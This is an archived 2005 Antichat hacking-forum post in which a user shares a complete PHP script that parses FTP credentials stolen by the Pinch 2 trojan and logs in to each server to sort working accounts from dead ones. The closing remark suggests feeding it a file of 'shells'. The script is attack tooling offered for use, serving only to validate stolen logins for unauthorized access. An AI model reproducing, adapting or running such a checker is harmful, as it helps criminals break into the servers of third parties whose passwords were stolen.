Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Чекер ftp-акков (под Пинч2, php) (https://forum.antichat.xyz/showthread.php?t=9927)

drmist 09.10.2005 00:37

Чекер ftp-акков (под Пинч2, php)
 
Недавно возникла проблема чекнуть пару сотен акков, в результате чего родился скрипт:
Код:

<?
/*
Pinch 2.x ftp-accounts parser v0.9

(c) drmist 2005

icq: 329393
web: www.security-teams.net
*/

$list = "list.txt";
$result = "result.txt";
$err = "error.log";

set_time_limit(0);
flush();
$time = time();

$ftp = @file($list) or die("<b>Cann't open $list</b>");
$fid = @fopen($result, "w") or die("<b>Cann't create $result</b>");
$error = @fopen($err, "w") or die("<b>Cann't create $err</b>");

$total = count($ftp);

$temp = array();
for($i = 0; $i < $total; $i++)
{
  $found = false;
  $ftp[$i] = trim($ftp[$i]); // !!!
  for($j = 0; $j < count($temp); $j++)
    if($temp[$j] === $ftp[$i])
    {
      $found = true;
      break;
    }

  if(!$found)
    $temp[] = $ftp[$i];
}
unset($ftp);
$ftp = $temp;
unset($temp);

sort($ftp);

$unique = count($ftp);

$failed = 0;
$bad = 0;
$valid = 0;

for($i = 0; $i < $unique; $i++)
{
    @$s = $ftp[$i] or fputs($error, "\$s = \$ftp[$i] - error\r\n");
    if(strlen($s) > 0)
    {
      if((!strpos($s, "tp://anonymous:"))&&(!strpos($s, "@10.")))
      {
        $g = array();
        ereg("^ftp://(.*):(.*)@(.{5,})$",$s,$g);

        if(count($g) < 4)
        {
          ereg("^ftp://(.*)@(.{5,}) \(Password: (.*)\)$",$s,$g);
         
          if(count($g) > 3)
          {
            $t = $g[2];
            $g[2] = $g[3];
            $g[3] = $t;
          }
        }

        if(count($g) > 3)
        {
          if(ereg("^([0-9]{1,3}\.){3}[0-9]{1,3}$", $g[3])) // ip2dn
          {
            $s = "";
            @$s = gethostbyaddr($g[3]);
            if(strlen($s) > 0)
              $g[3] = $s;
            else
              fputs($error, $g[3]." - gethostbyaddr() failed\r\n");
          }

          $conn=@ftp_connect($g[3]);
          $login=@ftp_login($conn, $g[1], $g[2]);

          if(($conn) && ($login))
          {
            echo $g[1]."@".$g[3]."<br>\r\n";
            fputs($fid, "ftp://".$g[1].":".$g[2]."@".$g[3]."\r\n");
            $valid++;
          }
          else
            $failed++;
       
        @ftp_close($conn);
        flush();
      }
      else
        fputs($error, "$s - ereg() failed, \$i = $i\r\n");
    }
    else
      $bad++;
  }
}

fclose($fid);
fclose($error);

echo "<br>\r\n<table border=0 width=300>\r\n";
echo "<tr><td>Total loaded</td><td>$total</td></tr>\r\n";
echo "<tr><td>Unique</td><td>$unique</td></tr>\r\n";
echo "<tr><td colspan=2> </td></tr>\r\n";
echo "<tr><td>Valid</td><td><font color=green>$valid</font></td></tr>\r\n";
echo "<tr><td>Connections failed</td><td><font color=red>$failed</font></td></tr>\r\n";
echo "<tr><td>Anonymous/Lan</td><td><font color=red>$bad</font></td></tr>\r\n";
echo "<tr><td>Errors</td><td><font color=red>".($unique - ($valid+$failed+$bad))."</font></td></tr>\r\n";
echo "<tr><td colspan=2> </td></tr>\r\n";
echo "<tr><td>Time</td><td>".date("i:s", time()-$time)."</td></tr>\r\n</table>";
?>
<script> alert("All done!"); </script>

Просто скормите ему файл с шеллами - сами все увидите.


Время: 08:13